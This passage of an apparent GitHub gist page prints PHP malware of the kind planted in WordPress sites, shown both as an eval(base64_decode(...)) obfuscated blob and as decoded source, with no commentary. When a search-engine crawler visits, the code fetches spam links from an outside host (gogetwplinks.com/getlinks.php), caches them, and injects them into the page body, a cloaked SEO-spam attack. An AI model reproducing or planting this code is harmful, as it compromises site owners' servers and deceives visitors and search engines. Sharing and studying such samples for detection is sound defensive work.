I3NpJywgJ1tURU1QUy1QXSQyJywgJGJsb2NrLCAxKTsgICAgICAgICAgfSAgICAgICAgICAgaWYgKHByZWdfbWF0Y2hfYWxsKCcjKDxbXj5dKz4pI3NpJywgJGJsb2NrLCAkdGVtcHMpPjApICAgICAgICAgIHsgICAgICAgICAgZm9yKCR0c2k9MDskdHNpPGNvdW50KCR0ZW1wc1sxXSk7JHRzaSsrKSAgICAgICAgICAgeyAgICAgICAgICAgJGJsb2NrID0gcHJlZ19yZXBsYWNlKCcjKDxbXj5dKj4pI3NpJywgJ1tURU1QUy0nLiR0c2kuJ10nLCAkYmxvY2ssIDEpOyAgICAgICAgICAgJHJ0ZW1wc1skdHNpXSA9ICR0ZW1wc1sxXVskdHNpXTsgICAgICAgICAgIH0gICAgICAgICAgfSAgICAgICAgICAgaWYgKHN1YnN0cigkbGluaywgMCwgMik9PSc8YScpICAgICAgICAgIHsgICAgICAgICAgJHRibCA9IGV4cGxvZGUoJyAnLCRibG9jayk7ICAgICAgICAgICRia2V5ID0gZmxvb3IoKGNvdW50KCR0YmwpLTIpKiRzdWJfcG9zLzEwMCkrMTsgICAgICAgICAgJHRibFskYmtleV0gLj0gJyAnLiRsaW5rOyAgICAgICAgICAkYmxvY2sgPSBpbXBsb2RlKCcgJywkdGJsKTsgICAgICAgICAgICAkdGVlWyRrZXldID0gJGJsb2NrOyAgICAgICAgICB9ICAgICAgICAgZWxzZSAgICAgICAgICB7ICAgICAgICAgICRlbnJlZyA9ICcjW1wuXCFcP117MSwzfVtcc10rI3NpJzsgICAgICAgICAgaWYgKCgkc2Vuc19jYyA9IHByZWdfbWF0Y2hfYWxsKCRlbnJlZywkYmxvY2ssJGVucmVzKSk+MCkgICAgICAgICAgIHsgICAgICAgICAgICRzZW5wb3NHQUdBID0gZmxvb3IoJHNlbnNfY2MqJHN1Yl9wb3MvMTAwKTsgICAgICAgICAgICRjb3VudGVyR0FHQSA9IDA7ICAgICAgICAgICAkYmxvY2sgPSBwcmVnX3JlcGxhY2VfY2FsbGJhY2soJGVucmVnLCAncHJjcCcsICRibG9jayk7ICAgICAgICAgICB9ICAgICAgICAgIGVsc2UgICAgICAgICAgIHsgICAgICAgICAgICRibG9jayAuPSAnICcuJGxpbms7ICAgICAgICAgICB9ICAgICAgICAgICAgJHRlZVska2V5XSA9ICRibG9jazsgICAgICAgICAgfSAgICAgICAgICAgaWYgKGNvdW50KCRydGVtcHMpPjApIGZvcmVhY2goJHJ0ZW1wcyBhcyAkaz0+JHYpICRibG9jayA9IHN0cl9yZXBsYWNlKCdbVEVNUFMtJy4kay4nXScsICR2LCAkYmxvY2spOyAgICAgICAgICAgJHRlZVska2V5XSA9ICRibG9jazsgICAgICAgICB9ICAgICAgICAgICRib2R5ID0gaW1wbG9kZSgiXHJcbiIsJHRlZSk7ICAgICAgICB9ICAgICAgIGVsc2UgICAgICAgIHsgICAgICAgICRyZWcgPSAoJHN1Yl9wb3M+NTApID8gJGJyZXNzIDogJGJyZXNlOyAgICAgICAgJHJlcCA9ICgkc3ViX3Bvcz41MCkgPyAkYnJlcHMgOiAkYnJlcGU7ICAgICAgICAkYm9keSA9IHByZWdfcmVwbGFjZSgkcmVnLCRyZXAsJGJvZHksMSk7ICAgICAgICAgICAgICB9ICAgICAgICAgaWYgKGNvdW50KCR0c2Fycik+MCkgICAgICAgIHsgICAgICAgIGZvcmVhY2goJHRzYXJyIGFzICRrPT4kdikgICAgICAgICB7ICAgICAgICAgJGJvZHkgPSBzdHJfcmVwbGFjZSgnW1NDUicuJGsuJ10nLCR2LCRib2R5KTsgICAgICAgICB9ICAgICAgICB9ICAgICAgICAgICAgfSAgICAgICAgJGJvZHkgPSBzdHJfcmVwbGFjZSgnJCcsJ1wkJywkYm9keSk7ICAgICAgJG91dCA9IHByZWdfcmVwbGFjZSgkYnJlZywkYm9keSwkb3V0LDEpOyAgICAgIH0gICAgIGVsc2UgICAgICB7ICAgICAgZm9yZWFjaCAoJGFyciBhcyAkb25lbCkgICAgICAgeyAgICAgICAkbGluayA9ICRvbmVsWzBdOyAgICAgICAkb3V0IC49ICc8YnI+Jy4kbGluazsgICAgICAgfSAgICAgIH0gICAgICAgZGllKCRvdXQpOyAgICAgfSAgICB9ICAgfSAgICA="));');
/* /DO-NOT-MAKE */
<?php
eval(base64_decode("ICBlcnJvcl9yZXBvcnRpbmcoMCk7ICAgIGlmIChwcmVnX21hdGNoKCcjZ29vZ2xlfGJpbmd8eWFob298bXNufGJhaWR1fGFocmVmcyNzaScsQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpICAgeyAgICAgZnVuY3Rpb24gcHJjcCgkcmVzc3MpICAgIHsgICAgZ2xvYmFsICRjb3VudGVyR0FHQSwgJHNlbnBvc0dBR0EsICRsaW5rOyAgICAgIGlmICgkY291bnRlckdBR0E9PSRzZW5wb3NHQUdBKSAkcmV0ID0gJHJlc3NzWzBdLiRsaW5rLicgJzsgICAgZWxzZSAkcmV0ID0gJHJlc3NzWzBdOyAgICAgICRjb3VudGVyR0FHQSsrOyAgICAgIHJldHVybiAkcmV0OyAgICB9ICAgICAgICR1cmwgPSAnaHR0cDovL2dvZ2V0d3BsaW5rcy5jb20nOyAgICRycCA9ICdodHRwOi8vJy5AJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAgICAgaWYgKCFwcmVnX21hdGNoKCcjKHhtbHJwY3xyb2JvdHNcLnR4dHx3cFwtbG9naW5cLnBocHx3cFwtYWRtaW58ZmVlZFwvfFwucG5nfFwuanBnfFwuanBlZ3xcLnhtbHxcLnBkZnxcLmdpZikjJywkcnApKSAgICB7ICAgIGZvciAoJHJpPTA7JHJpPDM7JHJpKyspICAgICB7ICAgICBjdXJsX3NldG9wdCgkY2hjaD1jdXJsX2luaXQoJHJwKSwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICAgICBjdXJsX3NldG9wdCgkY2hjaCwgQ1VSTE9QVF9IRUFERVIsIDEpOyAgICAgY3VybF9zZXRvcHQoJGNoY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDApOyAgICAgY3VybF9zZXRvcHQoJGNoY2gsIENVUkxPUFRfTk9CT0RZLCBUUlVFKTsgICAgICRvdXRoID0gdHJpbShjdXJsX2V4ZWMoJGNoY2gpKTsgICAgICAgaWYgKHByZWdfbWF0Y2goJyNMb2NhdGlvbjooLio/KVxuIycsICRvdXRoLCAkbWF0Y2hlcykpICAgICAgeyAgICAgICRycCA9IHRyaW0oJG1hdGNoZXNbMV0pOyAgICAgIH0gICAgIGVsc2UgICAgICB7ICAgICAgYnJlYWs7ICAgICAgfSAgICAgfSAgICAgIGN1cmxfc2V0b3B0KCRjaGM9Y3VybF9pbml0KCRycCksIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyAgICBjdXJsX3NldG9wdCgkY2hjLCBDVVJMT1BUX0hFQURFUiwgMCk7ICAgIGN1cmxfc2V0b3B0KCRjaGMsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDApOyAgICAkb3V0ID0gdHJpbShjdXJsX2V4ZWMoJGNoYykpOyAgICAgIGlmICgkb3V0ICE9ICcnKSAgICAgeyAgICAgJGhhc2ggPSBtZDUoJHJwKTsgICAgICAgJHJlZiA9ICRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdLiRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAgICAgJHJlZiA9IHN0cl9yZXBsYWNlKCd3d3cuJywnJywkcmVmKTsgICAgICAgJGxvayA9IGZhbHNlOyAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXNfZ2V0X3RlbXBfZGlyJykpICAgICAgeyAgICAgICR0ZGlyID0gc3lzX2dldF90ZW1wX2RpcigpOyAgICAgIGlmIChmaWxlX2V4aXN0cygkdGRpci4nL2R1bXBfJy5tZDUoJHJlZikuJy50bXAnKSAmJiBmaWxlbXRpbWUoJHRkaXIuJy9kdW1wXycubWQ1KCRyZWYpLicudG1wJyk+dGltZSgpLTI0KjYwKjYwKSAgICAgICB7ICAgICAgICRsb3V0ID0gZmlsZV9nZXRfY29udGVudHMoJHRkaXIuJy9kdW1wXycubWQ1KCRyZWYpLicudG1wJyk7ICAgICAgIGlmICgkbG91dCE9JycpICRsb2sgPSB0cnVlOyAgICAgICB9ICAgICAgfSAgICAgICBpZiAoISRsb2spICAgICAgeyAgICAgICRxID0gcnRyaW0oJHVybCwnIC8nKS4nL2dldGxpbmtzLnBocD9yZWY9Jy51cmxlbmNvZGUoJHJlZik7ICAgICAgICBjdXJsX3NldG9wdCgkY2hsPWN1cmxfaW5pdCgkcSksIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyAgICAgIGN1cmxfc2V0b3B0KCRjaGwsIENVUkxPUFRfSEVBREVSLCAwKTsgICAgICBjdXJsX3NldG9wdCgkY2hsLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTsgICAgICAkbG91dCA9IGN1cmxfZXhlYygkY2hsKTsgICAgICB9ICAgICAgICRsbmtzID0gQGV4cGxvZGUoIlxuIiwkbG91dCk7ICAgICBpZiAoIWlzX2FycmF5KCRsbmtzKSB8fCBjb3VudCgkbG5rcyk9PTApICAgICAgeyAgICAgIGRpZSgkb3V0KTsgICAgICB9ICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3N5c19nZXRfdGVtcF9kaXInKSAmJiAhJGxvaykgICAgICB7ICAgICAgJHRkaXIgPSBzeXNfZ2V0X3RlbXBfZGlyKCk7ICAgICAgJGxvdXQgPSBmaWxlX3B1dF9jb250ZW50cygkdGRpci4nL2R1bXBfJy5tZDUoJHJlZikuJy50bXAnLCRsb3V0KTsgICAgICB9ICAgICAgICRhcnIgPSBhcnJheSgpOyAgICAgZm9yZWFjaCAoJGxua3MgYXMgJGxuaykgICAgICB7ICAgICAgJHRlbXAgPSBleHBsb2RlKCc9PT4nLCRsbmspOyAgICAgICRhcnJbXSA9ICR0ZW1wOyAgICAgIH0gICAgICAgaWYgKHN1YnN0cigkYXJyWzBdWzBdLDAsMTIpPT0ndGVzdC1saW5raW5nJykgICAgICB7ICAgICAgJGFyclswXVswXSA9ICc8IS0tICcuc3Vic3RyKCRhcnJbMF1bMF0sMTIpLicgLS0+JzsgICAgICAkYXJyWzBdWzFdID0gJzAnOyAgICAgICRhcnJbMF1bMl0gPSAnMCc7ICAgICAgfSAgICAgICAkYnJlZyA9ICcjKDxib2R5Lis8L2JvZHk+KSNzaSc7ICAgICAgIGlmIChwcmVnX21hdGNoKCRicmVnLCRvdXQsJGJyZXMpKSAgICAgIHsgICAgICAkYm9keSA9ICRicmVzWzFdOyAgICAgICAgJGJyZXNzID0gJyMoXDxib2R5W14+XSpcPikjc2knOyAgICAgICRicmVzZSA9ICcjXDxcL2JvZHlcPiNzaSc7ICAgICAgICBmb3JlYWNoICgkYXJyIGFzICRvbmVsKSAgICAgICB7ICAgICAgICRsaW5rID0gdHJpbSgkb25lbFswXSk7ICAgICAgICRwb3MgID0gJG9uZWxbMV07ICAgICAgICRzdWJfcG9zID0gJG9uZWxbMl07ICAgICAgICAgaWYgKCRsaW5rPT0nJykgY29udGludWU7ICAgICAgICAgJGJyZXBzID0gJyQxICcuJGxpbmsuJyAnOyAgICAgICAkYnJlcGUgPSAnICcuJGxpbmsuJyA8L2JvZHk+JzsgICAgICAgICAkdHNhcnIgPSBhcnJheSgpOyAgICAgICBpZiAocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0Lis/PC9zY3JpcHQ+I3NpJywkYm9keSwkdHNyZXMpPjApICAgICAgICB7ICAgICAgICBmb3IgKCR0aT0wOyR0aTxjb3VudCgkdHNyZXNbMF0pOyR0aSsrKSAgICAgICAgIHsgICAgICAgICAkYm9keSA9IHByZWdfcmVwbGFjZSgnIzxzY3JpcHQuKz88L3NjcmlwdD4jc2knLCdbU0NSJy4kdGkuJ10nLCRib2R5LDEpOyAgICAgICAgICR0c2FyclskdGldID0gJHRzcmVzWzBdWyR0aV07ICAgICAgICAgfSAgICAgICAgfSAgICAgICAkdGVlID0gZXhwbG9kZSgnPC9wPicsJGJvZHkpOyAgICAgICBmb3JlYWNoICgkdGVlIGFzICR0ZWVrPT4kdGVldikgJHRlZVskdGVla10gLj0gJzwvcD4nOyAgICAgICAgIGlmIChjb3VudCgkdGVlKT4xKSAgICAgICAgeyAgICAgICAgJGtleSA9IGZsb29yKChjb3VudCgkdGVlKSkqJHBvcy8xMDApLTE7ICAgICAgICAkYmxvY2sgPSAkdGVlWyRrZXldOyAgICAgICAgICBpZiAoc3Vic3RyKCRsaW5rLCAwLCAyKT09JzxwJykgICAgICAgICB7ICAgICAgICAgJGF2Z2xlbiA9IDA7ICAgICAgICAgJGF2Z2NjID0gMDsgICAgICAgICBmb3IgKCR0az0xOyR0azw9Y291bnQoJHRlZSktMTskdGsrKykgICAgICAgICAgeyAgICAgICAgICAkdHYgPSAkdGVlWyR0a107ICAgICAgICAgICRvbmVsZW4gPSBzdHJsZW4oc3RyaXBfdGFncyhwcmVnX3JlcGxhY2UoYXJyYXkoJyNeLio/XDxwI3NpJywnI1tcc10rI3NpJyksYXJyYXkoJzxwJywnJyksJHR2KSkpOyAgICAgICAgICBpZiAoJG9uZWxlbj4wKSAgICAgICAgICAgeyAgICAgICAgICAgJGF2Z2xlbiArPSAkb25lbGVuOyAgICAgICAgICAgJGF2Z2NjKys7ICAgICAgICAgICB9ICAgICAgICAgIH0gICAgICAgICAkYXZnID0gY2VpbCgkYXZnbGVuLyRhdmdjYyk7ICAgICAgICAgICBpZiAoJGF2Zz4wKSAgICAgICAgICB7ICAgICAgICAgICR0b3JhbmQgPSBhcnJheSgpOyAgICAgICAgICBmb3IgKCR0az0xOyR0azw9Y291bnQoJHRlZSktMTskdGsrKykgICAgICAgICAgIHsgICAgICAgICAgICR0diA9ICR0ZWVbJHRrXTsgICAgICAgICAgICRvbmVsZW4gPSBzdHJsZW4oc3RyaXBfdGFncyhwcmVnX3JlcGxhY2UoYXJyYXkoJyNeLio/XDxwI3NpJywnI1tcc10rI3NpJyksYXJyYXkoJzxwJywnJyksJHR2KSkpOyAgICAgICAgICAgaWYgKCRvbmVsZW4+PSRhdmcpICR0b3JhbmRbXSA9ICR0azsgICAgICAgICAgIH0gICAgICAgICAgJGtleSA9IGZsb29yKGNvdW50KCR0b3JhbmQpKiRwb3MvMTAwKTsgICAgICAgICAgICAkYmxvY2sgPSAkdGVlWyR0b3JhbmRbJGtleV1dOyAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCcjXC9wPiNzaScsJGJsb2NrKSkgJGJsb2NrID0gcHJlZ19yZXBsYWNlKCcjXC9wPiNzaScsICcvcD4nLiJcclxuIi4kbGluaywgJGJsb2NrKTsgICAgICAgICAgZWxzZSAkYmxvY2sgPSAkYmxvY2suIlxyXG4iLiRsaW5rOyAgICAgICAgICAgICR0ZWVbJHRvcmFuZFska2V5XV0gPSAkYmxvY2s7ICAgICAgICAgIH0gICAgICAgICBlbHNlICAgICAgICAgIHsgICAgICAgICAgJHRlZVska2V5XSA9ICR0ZWVbJGtleV0uIlxyXG4iLiRsaW5rOyAgICAgICAgICB9ICAgICAgICAgfSAgICAgICAgZWxzZSAgICAgICAgIHsgICAgICAgICAkcnRlbXBzID0gYXJyYXkoKTsgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnI14oLispPHBbXj5dKj4jc2knLCRibG9jaywkcHJlc3MpKSAgICAgICAgICB7ICAgICAgICAgICRydGVtcHNbJ1AnXSA9ICRwcmVzc1sxXTsgICAgICAgICAgJGJsb2NrID0gcHJlZ19yZXBsYWNlKCcjXiguKykoPHBbXj5dKj4pI3NpJywgJ1tURU1QUy1QXSQyJywgJGJsb2NrLCAxKTsgICAgICAgICAgfSAgICAgICAgICAgaWYgKHByZWdfbWF0Y2hfYWxsKCcjKDxbXj5dKz4pI3NpJywgJGJsb2NrLCAkdGVtcHMpPjApICAgICAgICAgIHsgICAgICAgICAgZm9yKCR0c2k9MDskdHNpPGNvdW50KCR0ZW1wc1sxXSk7JHRzaSsrKSAgICAgICAgICAgeyAgICAgICAgICAgJGJsb2NrID0gcHJlZ19yZXBsYWNlKCcjKDxbXj5dKj4pI3NpJywgJ1tURU1QUy0nLiR0c2kuJ10nLCAkYmxvY2ssIDEpOyAgICAgICAgICAgJHJ0ZW1wc1skdHNpXSA9ICR0ZW1wc1sxXVskdHNpXTsgICAgICAgICAgIH0gICAgICAgICAgfSAgICAgICAgICAgaWYgKHN1YnN0cigkbGluaywgMCwgMik9PSc8YScpICAgICAgICAgIHsgICAgICAgICAgJHRibCA9IGV4cGxvZGUoJyAnLCRibG9jayk7ICAgICAgICAgICRia2V5ID0gZmxvb3IoKGNvdW50KCR0YmwpLTIpKiRzdWJfcG9zLzEwMCkrMTsgICAgICAgICAgJHRibFskYmtleV0gLj0gJyAnLiRsaW5rOyAgICAgICAgICAkYmxvY2sgPSBpbXBsb2RlKCcgJywkdGJsKTsgICAgICAgICAgICAkdGVlWyRrZXldID0gJGJsb2NrOyAgICAgICAgICB9ICAgICAgICAgZWxzZSAgICAgICAgICB7ICAgICAgICAgICRlbnJlZyA9ICcjW1wuXCFcP117MSwzfVtcc10rI3NpJzsgICAgICAgICAgaWYgKCgkc2Vuc19jYyA9IHByZWdfbWF0Y2hfYWxsKCRlbnJlZywkYmxvY2ssJGVucmVzKSk+MCkgICAgICAgICAgIHsgICAgICAgICAgICRzZW5wb3NHQUdBID0gZmxvb3IoJHNlbnNfY2MqJHN1Yl9wb3MvMTAwKTsgICAgICAgICAgICRjb3VudGVyR0FHQSA9IDA7ICAgICAgICAgICAkYmxvY2sgPSBwcmVnX3JlcGxhY2VfY2FsbGJhY2soJGVucmVnLCAncHJjcCcsICRibG9jayk7ICAgICAgICAgICB9ICAgICAgICAgIGVsc2UgICAgICAgICAgIHsgICAgICAgICAgICRibG9jayAuPSAnICcuJGxpbms7ICAgICAgICAgICB9ICAgICAgICAgICAgJHRlZVska2V5XSA9ICRibG9jazsgICAgICAgICAgfSAgICAgICAgICAgaWYgKGNvdW50KCRydGVtcHMpPjApIGZvcmVhY2goJHJ0ZW1wcyBhcyAkaz0+JHYpICRibG9jayA9IHN0cl9yZXBsYWNlKCdbVEVNUFMtJy4kay4nXScsICR2LCAkYmxvY2spOyAgICAgICAgICAgJHRlZVska2V5XSA9ICRibG9jazsgICAgICAgICB9ICAgICAgICAgICRib2R5ID0gaW1wbG9kZSgiXHJcbiIsJHRlZSk7ICAgICAgICB9ICAgICAgIGVsc2UgICAgICAgIHsgICAgICAgICRyZWcgPSAoJHN1Yl9wb3M+NTApID8gJGJyZXNzIDogJGJyZXNlOyAgICAgICAgJHJlcCA9ICgkc3ViX3Bvcz41MCkgPyAkYnJlcHMgOiAkYnJlcGU7ICAgICAgICAkYm9keSA9IHByZWdfcmVwbGFjZSgkcmVnLCRyZXAsJGJvZHksMSk7ICAgICAgICAgICAgICB9ICAgICAgICAgaWYgKGNvdW50KCR0c2Fycik+MCkgICAgICAgIHsgICAgICAgIGZvcmVhY2goJHRzYXJyIGFzICRrPT4kdikgICAgICAgICB7ICAgICAgICAgJGJvZHkgPSBzdHJfcmVwbGFjZSgnW1NDUicuJGsuJ10nLCR2LCRib2R5KTsgICAgICAgICB9ICAgICAgICB9ICAgICAgICAgICAgfSAgICAgICAgJGJvZHkgPSBzdHJfcmVwbGFjZSgnJCcsJ1wkJywkYm9keSk7ICAgICAgJG91dCA9IHByZWdfcmVwbGFjZSgkYnJlZywkYm9keSwkb3V0LDEpOyAgICAgIH0gICAgIGVsc2UgICAgICB7ICAgICAgZm9yZWFjaCAoJGFyciBhcyAkb25lbCkgICAgICAgeyAgICAgICAkbGluayA9ICRvbmVsWzBdOyAgICAgICAkb3V0IC49ICc8YnI+Jy4kbGluazsgICAgICAgfSAgICAgIH0gICAgICAgZGllKCRvdXQpOyAgICAgfSAgICB9ICAgfSAgICA="));
<?php
error_reporting(0);
if (preg_match('#google|bing|yahoo|msn|baidu|ahrefs#si', @$_SERVER['HTTP_USER_AGENT'])) {
function prcp($resss)
{
global $counterGAGA, $senposGAGA, $link;
if ($counterGAGA == $senposGAGA)
$ret = $resss[0] . $link . ' ';
else
$ret = $resss[0];
$counterGAGA++;
return $ret;
}
$url = 'http://gogetwplinks.com';
$rp = 'http://' . @$_SERVER['SERVER_NAME'] . @$_SERVER["REQUEST_URI"];
if (!preg_match('#(xmlrpc|robots\.txt|wp\-login\.php|wp\-admin|feed\/|\.png|\.jpg|\.jpeg|\.xml|\.pdf|\.gif)#', $rp)) {
for ($ri = 0; $ri < 3; $ri++) {
curl_setopt($chch = curl_init($rp), CURLOPT_RETURNTRANSFER, 1);
curl_setopt($chch, CURLOPT_HEADER, 1);
curl_setopt($chch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($chch, CURLOPT_NOBODY, TRUE);
$outh = trim(curl_exec($chch));
if (preg_match('#Location:(.*?)\n#', $outh, $matches)) {
$rp = trim($matches[1]);
} else {
break;
}
}
curl_setopt($chc = curl_init($rp), CURLOPT_RETURNTRANSFER, 1);
curl_setopt($chc, CURLOPT_HEADER, 0);
curl_setopt($chc, CURLOPT_FOLLOWLOCATION, 0);
$out = trim(curl_exec($chc));
if ($out != '') {
$hash = md5($rp);
$ref = $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"];
$ref = str_replace('www.', '', $ref);
$lok = false;
if (function_exists('sys_get_temp_dir')) {
$tdir = sys_get_temp_dir();
if (file_exists($tdir . '/dump_' . md5($ref) . '.tmp') && filemtime($tdir . '/dump_' . md5($ref) . '.tmp') > time() - 24 * 60 * 60) {
$lout = file_get_contents($tdir . '/dump_' . md5($ref) . '.tmp');
if ($lout != '')
$lok = true;
}
}
if (!$lok) {
$q = rtrim($url, ' /') . '/getlinks.php?ref=' . urlencode($ref);
curl_setopt($chl = curl_init($q), CURLOPT_RETURNTRANSFER, 1);
curl_setopt($chl, CURLOPT_HEADER, 0);
curl_setopt($chl, CURLOPT_FOLLOWLOCATION, 0);
$lout = curl_exec($chl);
}
$lnks = @explode("\n", $lout);
if (!is_array($lnks) || count($lnks) == 0) {
die($out);
}
if (function_exists('sys_get_temp_dir') && !$lok) {
$tdir = sys_get_temp_dir();
$lout = file_put_contents($tdir . '/dump_' . md5($ref) . '.tmp', $lout);
}
$arr = array();
foreach ($lnks as $lnk) {
$temp = explode('==>', $lnk);
$arr[] = $temp;
}
if (substr($arr[0][0], 0, 12) == 'test-linking') {
$arr[0][0] = '<!-- ' . substr($arr[0][0], 12) . ' -->';
$arr[0][1] = '0';
$arr[0][2] = '0';
}
$breg = '#(<body.+</body>)#si';
if (preg_match($breg, $out, $bres)) {
$body = $bres[1];
$bress = '#(\<body[^>]*\>)#si';
$brese = '#\<\/body\>#si';
foreach ($arr as $onel) {
$link = trim($onel[0]);
$pos = $onel[1];
$sub_pos = $onel[2];
if ($link == '')
continue;
$breps = '$1 ' . $link . ' ';
$brepe = ' ' . $link . ' </body>';
$tsarr = array();
if (preg_match_all('#<script.+?</script>#si', $body, $tsres) > 0) {
for ($ti = 0; $ti < count($tsres[0]); $ti++) {
$body = preg_replace('#<script.+?</script>#si', '[SCR' . $ti . ']', $body, 1);
$tsarr[$ti] = $tsres[0][$ti];
}
}
$tee = explode('</p>', $body);
foreach ($tee as $teek => $teev)
$tee[$teek] .= '</p>';
if (count($tee) > 1) {
$key = floor((count($tee)) * $pos / 100) - 1;
$block = $tee[$key];
if (substr($link, 0, 2) == '<p') {
$avglen = 0;
$avgcc = 0;
for ($tk = 1; $tk <= count($tee) - 1; $tk++) {
$tv = $tee[$tk];
$onelen = strlen(strip_tags(preg_replace(array(
'#^.*?\<p#si',
'#[\s]+#si'
), array(
'<p',
''
), $tv)));
if ($onelen > 0) {
$avglen += $onelen;
$avgcc++;
}
}
$avg = ceil($avglen / $avgcc);
if ($avg > 0) {
$torand = array();
for ($tk = 1; $tk <= count($tee) - 1; $tk++) {
$tv = $tee[$tk];
$onelen = strlen(strip_tags(preg_replace(array(
'#^.*?\<p#si',
'#[\s]+#si'
), array(
'<p',
''
), $tv)));
if ($onelen >= $avg)
$torand[] = $tk;
}
$key = floor(count($torand) * $pos / 100);
$block = $tee[$torand[$key]];
if (preg_match('#\/p>#si', $block))
$block = preg_replace('#\/p>#si', '/p>' . "\r\n" . $link, $block);
else
$block = $block . "\r\n" . $link;
$tee[$torand[$key]] = $block;
} else {
$tee[$key] = $tee[$key] . "\r\n" . $link;
}
} else {
$rtemps = array();
if (preg_match('#^(.+)<p[^>]*>#si', $block, $press)) {
$rtemps['P'] = $press[1];
$block = preg_replace('#^(.+)(<p[^>]*>)#si', '[TEMPS-P]$2', $block, 1);
}
if (preg_match_all('#(<[^>]+>)#si', $block, $temps) > 0) {
for ($tsi = 0; $tsi < count($temps[1]); $tsi++) {
$block = preg_replace('#(<[^>]*>)#si', '[TEMPS-' . $tsi . ']', $block, 1);
$rtemps[$tsi] = $temps[1][$tsi];
}
}
if (substr($link, 0, 2) == '<a') {
$tbl = explode(' ', $block);
$bkey = floor((count($tbl) - 2) * $sub_pos / 100) + 1;
$tbl[$bkey] .= ' ' . $link;
$block = implode(' ', $tbl);
$tee[$key] = $block;
} else {
$enreg = '#[\.\!\?]{1,3}[\s]+#si';
if (($sens_cc = preg_match_all($enreg, $block, $enres)) > 0) {
$senposGAGA = floor($sens_cc * $sub_pos / 100);
$counterGAGA = 0;
$block = preg_replace_callback($enreg, 'prcp', $block);
} else {
$block .= ' ' . $link;
}
$tee[$key] = $block;
}
if (count($rtemps) > 0)
foreach ($rtemps as $k => $v)
$block = str_replace('[TEMPS-' . $k . ']', $v, $block);
$tee[$key] = $block;
}
$body = implode("\r\n", $tee);
} else {
$reg = ($sub_pos > 50) ? $bress : $brese;
$rep = ($sub_pos > 50) ? $breps : $brepe;
$body = preg_replace($reg, $rep, $body, 1);
}
if (count($tsarr) > 0) {
foreach ($tsarr as $k => $v) {
$body = str_replace('[SCR' . $k . ']', $v, $body);
}
}
}
$body = str_replace('$', '\$', $body);
$out = preg_replace($breg, $body, $out, 1);
} else {
foreach ($arr as $onel) {
$link = $onel[0];
$out .= '<br>' . $link;
}
}
die($out);
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment